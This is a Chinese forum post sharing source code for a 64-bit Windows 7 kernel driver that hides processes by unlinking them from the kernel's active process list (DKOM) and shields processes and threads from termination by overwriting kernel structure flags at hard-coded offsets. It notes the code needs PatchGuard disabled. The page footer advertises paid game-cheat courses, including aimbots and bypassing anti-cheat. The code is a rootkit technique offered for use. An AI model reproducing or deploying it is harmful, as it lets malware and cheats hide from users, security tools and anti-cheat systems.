Win7 64上隐藏进程和保护进程源代码

真心对待 · 发表于 2024-3-11 13:30:11

实现隐藏进程和保护进程的手段依然是DKOM，不过是修改的位置不同而已。
至于怎么在64位操作系统上加载驱动，我已经说过了，请参考这里。
驱动使用WDK7的x64 Free Build Environment编译。

核心源码：
#define PROCESS_FLAGS_OFFSET                0x440
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188
#define PROCESS_RUNDOWN_PROTECT_OFFSET       0x178

ULONG64 Get64bitValue(PVOID p)
{
if(MmIsAddressValid(p)==FALSE)
      return 0;
return *(PULONG64)p;
}

VOID Set64bitValue(PVOID p, ULONG64 v)
{
KIRQL OldIrql;
if(MmIsAddressValid(p)==FALSE)
      return ;
OldIrql = KeRaiseIrqlToDpcLevel();
*(PULONG64)p=v;
KeLowerIrql(OldIrql);
}

VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
KIRQL OldIrql;
OldIrql = KeRaiseIrqlToDpcLevel();
if (ListEntry->Flink != ListEntry &&
      ListEntry->Blink != ListEntry &&
      ListEntry->Blink->Flink == ListEntry &&
      ListEntry->Flink->Blink == ListEntry)
{
         ListEntry->Flink->Blink = ListEntry->Blink;
         ListEntry->Blink->Flink = ListEntry->Flink;
         ListEntry->Flink = ListEntry;
         ListEntry->Blink = ListEntry;
}
KeLowerIrql(OldIrql);
}

VOID HideProcess(PEPROCESS Process)
{
RemoveListEntry((PLIST_ENTRY)((ULONG64)Process + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
}

VOID Test(ULONG uIoControlCode)
{
switch(uIoControlCode)
{
      case IOCTL_HideProcess:
         {
            __try
            {
                  memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
                  status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
                  if(NT_SUCCESS(status))
                  {
                     HideProcess(eProcess);
                  }
            }
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                  ;
            }
            break;
         }
      case IOCTL_ProtectProcess:
         {
            __try
            {
                  memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
                  status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
                  if(NT_SUCCESS(status))
                  {
                     OldVal=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET));
                     Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),RdpVal);
                  }
            }
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                  ;
            }
            break;
         }
      case IOCTL_UnprotectProcess:
         {
            __try
            {
                  Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),OldVal);
            }
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                  ;
            }
            break;
         }
}
}

更新内容：
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188
#define PROCESS_FLAG2_OFFSET                0x43C
#define CROSS_THREAD_FLAGS_OFFSET             0x448

VOID Test(ULONG uIoControlCode)
{
switch(uIoControlCode)
{
      case IOCTL_ProtectProcess:
         {
            __try
            {
                  memcpy(&dwInPid,pIoBuffer,sizeof(dwInPid));
                  dprintf("[x64Drv] dwInPid=%ld",dwInPid);
                  status=PsLookupProcessByProcessId(dwInPid,&eProcess);
                  if(NT_SUCCESS(status))
                  {
                     dwPOV=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET));
                     Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPNV);
                     dprintf("[x64Drv] Protect Process finished");
                  }
            }
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                  ;
            }
            break;
         }
      case IOCTL_ProtectThread:
         {
            __try
            {
                  memcpy(&dwInTid,pIoBuffer,sizeof(dwInTid));
                  dprintf("[x64Drv] dwInTid=%ld",dwInTid);
                  status=PsLookupThreadByThreadId(dwInTid,&eThread);
                  if(NT_SUCCESS(status))
                  {
                     dwTOV=Get32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET));
                     Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
                     dprintf("[x64Drv] Protect Thread finished");
                  }
            }
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                  ;
            }
            break;
         }
      case IOCTL_UnprotectProcess:
         {
            __try
            {
                  Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPOV);
                  Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
                  dprintf("[x64Drv] Unprotect Process and Thread finished");
            }
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                  ;
            }
            break;
         }
      case IOCTL_PauseThrdProtect:
         {
            __try
            {
                  Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
                  dprintf("[x64Drv] Thread Protect Suspended!");
            }
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                  ;
            }
            break;
         }
      case IOCTL_ResumeThrdProtect:
         {
            __try
            {
                  Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
                  dprintf("[x64Drv] Thread Protect Resumed!");
            }
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
                  ;
            }
            break;
         }
}
}

警告：此代码在没有破解内核的WIN7 X64上使用，会触发PatchGuard引起蓝屏。
Warning: If you use this code in WIN7 X64 without "crack kernel", it will trigger PatchGuard and cause BSOD.

		自动登录	找回密码
密码			立即注册

→→→→→→→→→→→→	1点击查看所有VIP教程目录长列表(总教程数269个)	2办理VIP详情进入	←←←←←←←←←←←←
1 x64CE与x64dbg入门基础教程 7课已完结	2 x64汇编语言基础教程 16课已完结	3 x64辅助入门基础教程 9课已完结	4 C++x64内存辅助实战技术教程 149课已完结
5 C++x64内存检测与过检测技术教程 10课已完结	6 C+x64二叉树分析遍历与LUA自动登陆教程 19课已完结	7 C++BT功能原理与x64实战教程 29课已完结	8 C+FPS框透视与自瞄x64实现原理及防护思路 30课完结
64驱？封？ 9 64反驱？	10 64位V？	11 绝?	12 ???课？
13 64透？	14 64U ？	15 64Q ？	16 64功？
17 64U ？	18 64模？	19 64多？	20 64网？
21 64注？	22 64火？	23 64棋？	24 64自二链L？
25 64破？	VIP会员办理QQ: 89986068 【请先加好友，然后到好友列表双击联系客服办理,不然可能无法接受到信息。】	27 加入2000人交流群637034024	28 免责声明？

Win7 64上隐藏进程和保护进程源代码

QQ咨询